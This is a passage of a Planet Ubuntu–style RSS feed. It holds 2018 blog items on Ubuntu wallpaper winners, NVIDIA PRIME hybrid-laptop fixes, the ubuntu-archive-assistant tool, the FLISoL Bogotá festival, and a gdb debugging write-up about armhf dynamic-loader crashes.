  <li><a href="https://www.flickr.com/photos/simosx/43736940061/in/pool-ubuntu-fcs-1810/">The Image of Mount Parnassus</a> by simosx</li>
  <li><a href="https://www.flickr.com/photos/bernhardhanakam/44033490521/in/pool-ubuntu-fcs-1810/">Morning</a> by Bernhard Hanakam</li>
  <li><a href="https://www.flickr.com/photos/155984160@N07/43295035514/in/pool-ubuntu-fcs-1810/">Encounter</a> by Lzardjin</li>
  <li><a href="https://www.flickr.com/photos/134476822@N04/43642256642/in/pool-ubuntu-fcs-1810/">touche de vert</a> by François Cante</li>
</ul>

<p>A big congratulations to the winners, and thanks to everyone who submitted a wallpaper.  You can find these wallpapers (along with dozens of other stunning wallpapers) today at the links above, or in your desktop wallpaper list after you upgrade to or install Ubuntu 18.10 on October 18th.</p>]]></description>
      <source url="https://www.nhaines.com/feed.xml">Nathan Haines</source>
    </item>
    <item>
      <title>NVIDIA PRIME in Ubuntu 18.04 and 18.10, and a call for testing</title>
      <link>https://albertomilone.com/blog/nvidia-prime-in-ubuntu-18-04-and-18-10-and-a-call-for-testing/</link>
      <guid isPermaLink="true">https://albertomilone.com/blog/nvidia-prime-in-ubuntu-18-04-and-18-10-and-a-call-for-testing/</guid>
      <pubDate>Thu, 20 Sep 2018 09:19:48 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph"><strong>Ubuntu 18.04</strong> marked the transition to a new, more granular, packaging of the NVIDIA drivers, which, unfortunately, combined with a <a href="https://bugs.launchpad.net/bugs/1777099">change in <g class="gr_ gr_3 gr-alert gr_spell gr_inline_cards gr_run_anim ContextualSpelling ins-del multiReplace" id="3" data-gr-id="3">logind</g></a>, and with the previous migration from Lightdm to Gdm3, caused <strong>(Intel+NVIDIA) hybrid laptops</strong> to stop working the way they used to in Ubuntu 16.xx and older.</p>



<p class="wp-block-paragraph">The following are the <strong>main issues</strong> experienced by our users:</p>



<ul class="wp-block-list"><li>An increase in power consumption when using the power saving profile (i.e. when the discrete GPU is off).</li><li>The inability to switch between power profiles on log out (thus requiring a reboot).</li></ul>



<p class="wp-block-paragraph">We have backported a commit to solve the <a href="https://bugs.launchpad.net/bugs/1777099">problem with logind</a>, and I have worked on a few changes in gpu-manager, and in the other key components, to improve the experience when using <strong>Gdm3</strong>.</p>



<p class="has-background has-light-green-cyan-background-color wp-block-paragraph"><strong>NOTE:</strong> fixes for <strong>Lightdm</strong>, and for <strong>SDDM</strong> still need some work, and will be made available in the next update.</p>



<p class="wp-block-paragraph">Both issues should be fixed in <strong>Ubuntu 18.10</strong>, and I have backported my work to <strong>Ubuntu 18.04</strong>, which is now <a href="https://bugs.launchpad.net/ubuntu/+source/nvidia-prime/+bug/1778011">available for testing.</a></p>



<p class="wp-block-paragraph">If you run <strong>Ubuntu 18.04</strong>, own a hybrid laptop with an Intel and an NVIDIA GPU (supported by the <strong>390 NVIDIA driver</strong>),  <strong>we would love to get your feedback</strong> on the updates in Ubuntu 18.04.</p>



<p class="wp-block-paragraph">If you are interested, head over to the <a href="https://bugs.launchpad.net/ubuntu/+source/nvidia-prime/+bug/1778011">bug report</a>, follow the instructions at the end of the bug <g class="gr_ gr_3 gr-alert gr_gramm gr_inline_cards gr_run_anim Punctuation only-del replaceWithoutSep" id="3" data-gr-id="3">description,</g> and let us know about your experience.</p>]]></description>
      <source url="http://albertomilone.com/wordpress/?feed=rss2">Alberto Milone</source>
    </item>
    <item>
      <title>Help needed to improve proposed migration</title>
      <link>http://blog.cyphermox.net/2018/09/help-needed-to-improve-proposed.html</link>
      <guid isPermaLink="true">http://blog.cyphermox.net/2018/09/help-needed-to-improve-proposed.html</guid>
      <pubDate>Thu, 20 Sep 2018 07:35:00 GMT</pubDate>
      <description><![CDATA[Hi!<br />
<br />
Every once in a while, in the Foundations team, we do a coding day.

A year ago, Lukasz and I wrote a script, following an idea from Steve Langasek, to provide "hints" and help for the next steps necessary for a package to migrate from -proposed to -release.<br />
<br />
"ubuntu-archive-assistant" was born.

I just pushed this to <b>lp:ubuntu-dev-tools</b>, after it being on its own in a separate git tree for a long while. I'd love to get help for feedback, as well as more people contributing fixes, etc.

ubuntu-archive-assistant is designed to let you look at a specific package in -proposed and try to tell you what to do next to ensure it migrates from -proposed.<br />
<br />
This is great work for new contributors wishing to work on something, say, to get upload privileges in Ubuntu.<br />
<br />
Here's how it works (it uses subcommands right now).<br />
<br />
Without any further options than "ubuntu-archive-assistant proposed", it will list packages in -proposed and let you pick:

<br />
<blockquote>
$ ./ubuntu-archive-assistant proposed<br />
No source package name was provided. The following packages are blocked in proposed:<br />
<br />
(1) gnome-shell-extension-multi-monitors (Age: 338 days)<br />
(2) node-is-glob (Age: 278 days)<br />
(3) node-concat-with-sourcemaps (Age: 264 days)<br />
(4) node-postcss (Age: 231 days)<br />
(5) node-source-map (Age: 229 days)<br />
(6) android-platform-system-core (Age: 226 days)<br />
(7) libdigidocpp (Age: 226 days)<br />
(8) qesteidutil (Age: 225 days)<br />
(9) schleuder (Age: 218 days)<br />
(10) ncbi-blast+ (Age: 216 days)<br />
(11) node-postcss-filter-plugins (Age: 213 days)<br />
(12) node-postcss-load-options (Age: 213 days)<br />
(13) node-postcss-load-plugins (Age: 213 days)<br />
(14) node-postcss-minify-font-values (Age: 213 days)<br />
(15) node-postcss-load-config (Age: 209 days)<br />
(16) live-config (Age: 207 days)<br />
Page -1-. Press any key for next page or Q to select a package.<br />
Which package do you want to look at? 9<br />
Next steps for schleuder 3.2.2-1:<br />
&nbsp; Fix missing builds: amd64<br />
&nbsp; &nbsp; &nbsp;https://launchpad.net/ubuntu/+source/schleuder/3.2.2-1</blockquote>
<br />
If you specify which package you want to look at, it will give you the specifics for that package (examples here are for what is currently in -proposed):

<br />
<blockquote>
$ ./ubuntu-archive-assistant proposed -s qesteidutil<br />
Next steps for qesteidutil 0.3.1-0ubuntu4:<br />
&nbsp; Fix missing builds: amd64, arm64, armhf, i386, ppc64el, s390x<br />
&nbsp; &nbsp; &nbsp;https://launchpad.net/ubuntu/+source/qesteidutil/0.3.1-0ubuntu4</blockquote>
<blockquote class="tr_bq">
$ ./ubuntu-archive-assistant proposed -s android-platform-system-core<br />Next steps for android-platform-system-core 1:7.0.0+r33-2build1:<br />&nbsp; Fix missing builds: amd64, arm64, armhf, i386<br />&nbsp; &nbsp; &nbsp;https://launchpad.net/ubuntu/+source/android-platform-system-core/1:7.0.0+r33-2build1&nbsp;</blockquote>
<br />
You can even get more information about the next steps for a package, by enabling <i>--debug</i> or <i>--verbose</i>:

<br />
<blockquote>
<br />
$ ./ubuntu-archive-assistant proposed -s live-config&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Next steps for live-config 5.20180224:<br />
&nbsp; Fix unsatisfiable dependencies in live-config:<br />
<br /></blockquote>
<blockquote class="tr_bq">
$ ./ubuntu-archive-assistant proposed --verbose -s live-config<br />live-config is not considered ✘<br />Next steps for live-config 5.20180224:<br />&nbsp; Fix unsatisfiable dependencies in live-config:<br />&nbsp; &nbsp; sysvinit-core | sysvinit (&lt;&lt; 2.88dsf-44) can not be satisfied on amd64 ✘<br />&nbsp; &nbsp; &nbsp; sysvinit-core only exists in Debian ✘<br />&nbsp;</blockquote>
<blockquote>
$ ./ubuntu-archive-assistant proposed --debug -s live-config<br />
live-config is not considered ✘<br />
Next steps for live-config 5.20180224:<br />
DEBUG<review .proposed.live-config="">: reasons: ['depends']&nbsp;</review><br />
&nbsp; Fix unsatisfiable dependencies in live-config:<br />
&nbsp; &nbsp; sysvinit-core | sysvinit (&lt;&lt; 2.88dsf-44) can not be satisfied on amd64 ✘<br />
&nbsp; &nbsp; &nbsp; sysvinit-core only exists in Debian ✘<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DEBUG<review .proposed.live-config.unsatisfiable="">: Is this package blacklisted? Should it be synced?</review></blockquote>
<br />
We've covered some of the common reasons for a package to be stuck in proposed, but there are a ton of others. We'll need help to improve the tooling and make it useful for everyone wishing to work on proposed migration. There's a lot more that can be done, including spending time to parse <b>update_output.txt</b>&nbsp;(or better yet, a YAML representation of it) and testing package installation automatically to figure out what packages need no-change rebuilds, etc. A lot of it is integration of other tools that already exist.<br />
<br />
That's where you come in.<br />
<br />
This is a great way to learn a lot more about what happens to packages after they are uploaded, and what more you can do to ensure your own uploads move quickly to be accessible to all Ubuntu users; and many of the improvements can be as simple as contributing a simple test for one failure case for packages in -proposed.<br />
<br />
More to come about <b>ubuntu-archive-assistant</b>. There are other subcommands in it than just "proposed". :)]]></description>
      <source url="http://blog.cyphermox.net/feeds/posts/default/-/planet-ubuntu">Mathieu Trudel</source>
    </item>
    <item>
      <title>Flisol Bogotá 2018</title>
      <link>https://jhosman.com/en/locoteams/flisol-bogota-2018/</link>
      <guid isPermaLink="true">https://jhosman.com/en/locoteams/flisol-bogota-2018/</guid>
      <pubDate>Tue, 08 May 2018 01:49:07 GMT</pubDate>
      <description><![CDATA[<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pinterest" href="https://www.addtoany.com/add_to/pinterest?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Pinterest" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&#038;title=Flisol%20Bogot%C3%A1%202018" data-a2a-url="https://jhosman.com/en/locoteams/flisol-bogota-2018/" data-a2a-title="Flisol Bogotá 2018"></a></p><p style="text-align: center;"><img loading="lazy" class="aligncenter size-medium" src="https://dzwonsemrish7.cloudfront.net/items/3T1c2j351z2m1B420i0H/Flisol%202018.JPG?v=6f24dc00" alt="Flisol Bogota 2018" width="1920" height="1280" /></p>
<p>On April 28, we celebrated in the best way the Latin American Free Software Installation Festival (<a href="https://flisolbogota.org" target="_blank" rel="noopener">FLISoL</a>) in Bogotá. FLISoL is the biggest event for the dissemination of Free Software in Latin America in which more than 20 countries together around 240 events recorded for this 2018 In Bogota part will take place in theFundación Tecnológica Autónoma de Bogotá FABA (Carrera 14 N° 80 &#8211; 35) from 9 a. m. Saturday April 28 this year with free entry. The Flisol Bogotá 2018, is one of the largest in Latin America with the largest number of attendees.</p>
<p>The Latin American Festival of Installation of Free Software is designed for students, academics, businessmen, workers, civil servants, enthusiasts and the general public to raise awareness of our philosophy, scope, progress and development around Free Software, and share these citizens using ICT freedoms and opportunities that this provides. In Colombia it is the 14th time it is held in Bogota since 2005.</p>
<p>On this occasion, the festival allowed us to observe that free culture, beyond being a space for the installation of software distributions, operating systems (Linux) or programs that promote the opening of the Internet and the empowerment of people with respect to technology, is a form to contribute and build societies.</p>
<p>There were more than 1,600 people who participated in more than 90 activities that included lectures, workshops, panels, spaces for children -FLISoL Kids-, a cinema of free culture, music, origami and much more.</p>
<p>We had two international speakers of whom we are very grateful to have shared this wonderful experience: <strong>Nuritzi Sanchez</strong> President, Board of Directors at <em>GNOME Foundation</em>; Founding Member, Ecosystem Team Manager at Endless and <strong>Jorge Luis Batista </strong>Automatic engineer, Cuban enthusiast of <em>Open Street Map</em>.</p>
<p>We <strong>greatly appreciate</strong> the support provided by the <strong>International Community of Ubuntu</strong> and also the <strong>Canonical</strong> <strong>team</strong> for making this possible, and we look forward to continue helping in Colombia more and more in the future.</p>
<blockquote class="twitter-tweet" data-lang="es">
<p dir="ltr" lang="en"><a href="https://twitter.com/Canonical?ref_src=twsrc%5Etfw">@Canonical</a> <a href="https://twitter.com/ubuntuco?ref_src=twsrc%5Etfw">@ubuntuco</a> Thanks for your Sponsoring in <a href="https://twitter.com/hashtag/FlisolBogota?src=hash&amp;ref_src=twsrc%5Etfw">#FlisolBogota</a> <img src="https://s.w.org/images/core/emoji/13.1.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>— #FlisolBogota (@flisol_bogota) <a href="https://twitter.com/flisol_bogota/status/990260035279294464?ref_src=twsrc%5Etfw">28 de abril de 2018</a></p></blockquote>
<p></p>
<p style="text-align: center;"><img loading="lazy" class="aligncenter size-medium" src="https://lh3.googleusercontent.com/sIy1bZZ7mIh7G8NSc5VVIhL1mxaXwC37Tqiqfu9XIe1J2IfN8Dry1067bcbtdMvZhMplRr4d2k3rELNuJKhqfjjL0JmPeKvrKqknjYw_p2UkxXnRZZspXbMWKJ0hgMS7-MpQez8gcmBZIFAxm-cO50Y6XwKiW5nPK2M_XMLTjzFxDZGPCc7DQSBiKdPSJdJMsGtV0bE1HUTF6Omc4ZQ7dvaUeWcvvLsVen5xpCPeB22rjewfQ5PrnmWYHoKLG7NvWZolo2dcp1T0dH5KqVOlFOtnGLEjd0k9cVZChqP565BN8XM-DPTdFnEl2S160sI_61VzJ3-K--fK5egt-aVZLRIVJCFqtDNsO4eGnYGku2ZDnJYHovQvYl0K-ubd8ovXA86-ZujcjTzuTwQZCY0zqX9NKk4lN2Q3nhWaQToiDOQ8ygn2OUAGGFDjOasFupIVGiFSNRSrL8288cuur_5iUZ3kqAwfdIoJLGyRG3fy8sPbORy6z1zi0OC5ruuTmzT7PganBLc-GIF8Uh8mcFJI5yqrwK48ta6QHpp2aJELuOxrT3NLQ8V6xEq7TKMFpd8bZ51A2OkVXWLO9u097kRiLQtJ1doMdFeVX-76DHGmsVG6O7ej7Q4pQt9RQbMFnqSqpJvAX3JM65gkj5uFuaEMtDrDer2vM6Tj2Q=w664-h885-no" alt="ads" width="664" height="885" /></p>
<p style="text-align: center;">We also had an installation area where the largest number of operating systems were Ubuntu Bionic 18.04 LTS</p>
<p>&nbsp;</p>
<blockquote class="twitter-tweet" data-lang="es">
<p dir="ltr" lang="es">Zona de instalaciones <a href="https://twitter.com/hashtag/FlisolBogota?src=hash&amp;ref_src=twsrc%5Etfw">#FlisolBogota</a> <a href="https://twitter.com/Canonical?ref_src=twsrc%5Etfw">@Canonical</a> <a href="https://twitter.com/ubuntu?ref_src=twsrc%5Etfw">@ubuntu</a> <a href="https://t.co/VoWiplAqrQ">pic.twitter.com/VoWiplAqrQ</a></p>
<p>— #FlisolBogota (@flisol_bogota) <a href="https://twitter.com/flisol_bogota/status/990316221252931585?ref_src=twsrc%5Etfw">28 de abril de 2018</a></p></blockquote>
<p></p>
<p><center>The stand of the Community Ubuntu Colombia:</center></p>
<blockquote class="twitter-tweet" data-lang="es">
<p dir="ltr" lang="es">Ven y visita el stand de <a href="https://twitter.com/ubuntuco?ref_src=twsrc%5Etfw">@ubuntuco</a> en el <a href="https://twitter.com/hashtag/FlisolBogota?src=hash&amp;ref_src=twsrc%5Etfw">#FlisolBogota</a> <a href="https://twitter.com/hashtag/Flisol2018?src=hash&amp;ref_src=twsrc%5Etfw">#Flisol2018</a> <a href="https://twitter.com/hashtag/Flisol?src=hash&amp;ref_src=twsrc%5Etfw">#Flisol</a> <a href="https://t.co/aLsq937rOz">pic.twitter.com/aLsq937rOz</a></p>
<p>— Su|GE3K (@SuGE3K) <a href="https://twitter.com/SuGE3K/status/990259964139712513?ref_src=twsrc%5Etfw">28 de abril de 2018</a></p></blockquote>
<p></p>
<p>All Festival information is on the website: <a href="http://www.flisolbogota.org/" target="_blank" rel="noopener">www.flisolbogota.org</a> and you can see the programation in:<a href="http://www.flisolbogota.org/programacion" target="_blank" rel="noopener"> www.flisolbogota.org/programacion </a></p>
<p>Any additional information may be requested at the info@flisolbogota.org mail or in our social networks Twitter:<a href="https://twitter.com/flisol_bogota" target="_blank" rel="noopener">flisol_bogota</a> or Facebook: <a href="https://fb.com/flisolbogota" target="_blank" rel="noopener">Flisol Bogota</a></p>
<p>Photos of the Event: <a href="https://www.flickr.com/search/?text=flisol%20bogota&amp;sort=date-posted-desc" target="_blank" rel="noopener">https://www.flickr.com/search/?text=flisol%20bogota&amp;sort=date-posted-desc</a></p>
<p>You can see All reactions of Twitter, photos and videos in:<br />
<a class="twitter-timeline" href="https://twitter.com/flisol_bogota?ref_src=twsrc%5Etfw" data-link-color="#E95F28">Tweets by flisol_bogota</a> </p>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pinterest" href="https://www.addtoany.com/add_to/pinterest?linkurl=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&amp;linkname=Flisol%20Bogot%C3%A1%202018" title="Pinterest" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fjhosman.com%2Fen%2Flocoteams%2Fflisol-bogota-2018%2F&#038;title=Flisol%20Bogot%C3%A1%202018" data-a2a-url="https://jhosman.com/en/locoteams/flisol-bogota-2018/" data-a2a-title="Flisol Bogotá 2018"></a></p>]]></description>
      <source url="http://feeds.feedburner.com/Jhosmanenglish">Jhosman Lizarazo</source>
    </item>
    <item>
      <title>Debugging the debugger</title>
      <link>https://chriscoulson.me.uk/blog/?p=295</link>
      <guid isPermaLink="true">https://chriscoulson.me.uk/blog/?p=295</guid>
      <pubDate>Wed, 02 May 2018 21:02:46 GMT</pubDate>
      <description><![CDATA[<p>I use gdb quite often, but until recently I&#8217;ve never really needed to understand how it works or debug it before. I thought I&#8217;d document a recent issue I decided to take a look at &#8211; perhaps someone else will find it interesting or useful.</p>
<p>We run the rust testsuite when building rustc packages in Ubuntu. When preparing updates to rust 1.25 recently for Ubuntu 18.04 LTS, I hit a bunch of test failures on armhf which all looked very similar. Here&#8217;s an example test failure:</p>
<pre><code>---- [debuginfo-gdb] debuginfo/borrowed-c-style-enum.rs stdout ----

NOTE: compiletest thinks it is using GDB with native rust support
executing "/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/stage2/bin/rustc" "/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/src/test/debuginfo/borrowed-c-style-enum.rs" "-L" "/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo" "--target=armv7-unknown-linux-gnueabihf" "-C" "prefer-dynamic" "-o" "/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf" "-Crpath" "-Zmiri" "-Zunstable-options" "-Lnative=/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/native/rust-test-helpers" "-g" "-L" "/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf.gdb.aux"
------stdout------------------------------

------stderr------------------------------

------------------------------------------
NOTE: compiletest thinks it is using GDB version 8001000
executing "/usr/bin/gdb" "-quiet" "-batch" "-nx" "-command=/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script"
------stdout------------------------------
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
&lt;http://www.gnu.org/software/gdb/bugs/&gt;.
Find the GDB manual and other documentation resources online at:
&lt;http://www.gnu.org/software/gdb/documentation/&gt;.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Breakpoint 1 at 0xcc4: file /&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/src/test/debuginfo/borrowed-c-style-enum.rs, line 61.

Program received signal SIGSEGV, Segmentation fault.
0xf77c9f4e in ?? () from /lib/ld-linux-armhf.so.3

------stderr------------------------------
/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script:10: Error in sourced command file:
No symbol 'the_a_ref' in current context

------------------------------------------

error: line not found in debugger output: $1 = borrowed_c_style_enum::ABC::TheA
status: exit code: 0
command: "/usr/bin/gdb" "-quiet" "-batch" "-nx" "-command=/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script"
stdout:
------------------------------------------
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
&lt;http://www.gnu.org/software/gdb/bugs/&gt;.
Find the GDB manual and other documentation resources online at:
&lt;http://www.gnu.org/software/gdb/documentation/&gt;.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Breakpoint 1 at 0xcc4: file /&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/src/test/debuginfo/borrowed-c-style-enum.rs, line 61.

Program received signal SIGSEGV, Segmentation fault.
0xf77c9f4e in ?? () from /lib/ld-linux-armhf.so.3

------------------------------------------
stderr:
------------------------------------------
/&lt;&lt;BUILDDIR&gt;&gt;/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.debugger.script:10: Error in sourced command file:
No symbol 'the_a_ref' in current context

------------------------------------------

thread '[debuginfo-gdb] debuginfo/borrowed-c-style-enum.rs' panicked at 'explicit panic', tools/compiletest/src/runtest.rs:2891:9
note: Run with `RUST_BACKTRACE=1` for a backtrace.
</code></pre>
<p>The failing tests are all running some commands in gdb, and the inferior (tracee) is crashing inside the dynamic loader (/lib/ld-linux-armhf.so.3) before running any rust code.</p>
<p>I managed to recreate this test failure on an armhf box, but when I installed the debug symbols for the dynamic loader (contained in the libc6-dbg package) so that I could attempt to debug these crashes, the failing tests all started to pass.</p>
<p>A quick search on the internet shows that I&#8217;m not the first person to hit this issue &#8211; for example, <a href="https://launchpad.net/bugs/1576432">this bug</a> reported in April 2016. According to the comments, the workaround is the same &#8211; installing the debug symbols for the dynamic loader (by installing the libc6-dbg package). This obviously isn&#8217;t right and I don&#8217;t particularly like walking away from something like this without understanding it, so I decided to spend some time trying to figure out what is going on.</p>
<p>This first thing I did was to load the missing debug symbols manually in gdb after hitting the crash, in order to hopefully get a useful backtrace:</p>
<pre><code>$ gdb build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf
...
(gdb) run                                           
Starting program: /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf

Program received signal SIGSEGV, Segmentation fault.
0xf77c9f4e in ?? () from /lib/ld-linux-armhf.so.3
(gdb) info sharedlibrary
From        To          Syms Read   Shared Object Library                                                
0xf77c7a40  0xf77dadd0  Yes (*)     /lib/ld-linux-armhf.so.3                                             
0xf771ce90  0xf778e288  No          /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/../../stage2/lib/rustlib/armv7-unknown-linux-gnueabihf/lib/libstd-42d13165275d0302.so
0xf76c91f0  0xf76d394c  No          /lib/arm-linux-gnueabihf/libgcc_s.so.1
0xf75dad80  0xf7687a90  No          /lib/arm-linux-gnueabihf/libc.so.6
0xf75b1a14  0xf75b2410  No          /lib/arm-linux-gnueabihf/libdl.so.2
0xf759c810  0xf759edf0  No          /lib/arm-linux-gnueabihf/librt.so.1
0xf757a210  0xf7585214  No          /lib/arm-linux-gnueabihf/libpthread.so.0
(*): Shared library is missing debugging information.
(gdb) add-symbol-file ~/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so 0xf77c7a40
add symbol table from file "/home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so" at
        .text_addr = 0xf77c7a40
(y or n) y
Reading symbols from /home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so...done.
(gdb) bt full
#0  dl_main (phdr=&lt;optimized out&gt;, phnum=&lt;optimized out&gt;, user_entry=&lt;optimized out&gt;, auxv=&lt;optimized out&gt;) at rtld.c:2275
        cnt = 1
        afct = 0x0
        head = &lt;optimized out&gt;
        ph = &lt;optimized out&gt;
        mode = &lt;optimized out&gt;
        main_map = &lt;optimized out&gt;
        file_size = 4294899100
        file = &lt;optimized out&gt;
        has_interp = &lt;optimized out&gt;
        i = &lt;optimized out&gt;
        prelinked = &lt;optimized out&gt;
        rtld_is_main = &lt;optimized out&gt;
        tcbp = &lt;optimized out&gt;
        __PRETTY_FUNCTION__ = &lt;error reading variable __PRETTY_FUNCTION__ (Cannot access memory at address 0x15810)&gt;
        first_preload = &lt;optimized out&gt;
        r = &lt;optimized out&gt;
        rtld_ehdr = &lt;optimized out&gt;
        rtld_phdr = &lt;optimized out&gt;
        cnt = &lt;optimized out&gt;
        need_security_init = &lt;optimized out&gt;
        count_modids = &lt;optimized out&gt;
        preloads = &lt;optimized out&gt;
        npreloads = &lt;optimized out&gt;
        preload_file = &lt;error reading variable preload_file (Cannot access memory at address 0x157fc)&gt;
        rtld_multiple_ref = &lt;optimized out&gt;
        was_tls_init_tp_called = &lt;optimized out&gt;&lt;/details&gt;
#1  0xf77d76d0 in _dl_sysdep_start (start_argptr=start_argptr@entry=0xfffef6b1, dl_main=0xf77c872d &lt;dl_main&gt;) at ../elf/dl-sysdep.c:253
        phdr = &lt;optimized out&gt;
        phnum = &lt;optimized out&gt;
        user_entry = 4197241
        av = &lt;optimized out&gt;
#2  0xf77c8260 in _dl_start_final (arg=0xfffef6b1) at rtld.c:414
        start_addr = &lt;optimized out&gt;
        start_addr = &lt;optimized out&gt;
#3  _dl_start (arg=0xfffef6b1) at rtld.c:521
        entry = &lt;optimized out&gt;
#4  0xf77c7b90 in ?? () from /lib/ld-linux-armhf.so.3
        library_path = &lt;error reading variable library_path (Cannot access memory at address 0x28920)&gt;
        version_info = &lt;error reading variable version_info (Cannot access memory at address 0x28918)&gt;
        any_debug = &lt;error reading variable any_debug (Cannot access memory at address 0x28914)&gt;
        _dl_rtld_libname = &lt;error reading variable _dl_rtld_libname (Cannot access memory at address 0x298a8)&gt;
        _dl_rtld_libname2 = &lt;error reading variable _dl_rtld_libname2 (Cannot access memory at address 0x298b4)&gt;
        tls_init_tp_called = &lt;error reading variable tls_init_tp_called (Cannot access memory at address 0x29898)&gt;
        audit_list = &lt;error reading variable audit_list (Cannot access memory at address 0x298a4)&gt;
        preloadlist = &lt;error reading variable preloadlist (Cannot access memory at address 0x2891c)&gt;
        _dl_skip_args = &lt;error reading variable _dl_skip_args (Cannot access memory at address 0x2994c)&gt;
        audit_list_string = &lt;error reading variable audit_list_string (Cannot access memory at address 0x29968)&gt;
        __stack_chk_guard = &lt;error reading variable __stack_chk_guard (Cannot access memory at address 0x28968)&gt;
        _rtld_global = &lt;error reading variable _rtld_global (Cannot access memory at address 0x29060)&gt;
        _rtld_global_ro = &lt;error reading variable _rtld_global_ro (Cannot access memory at address 0x28970)&gt;
        _dl_argc = &lt;error reading variable _dl_argc (Cannot access memory at address 0x28910)&gt;
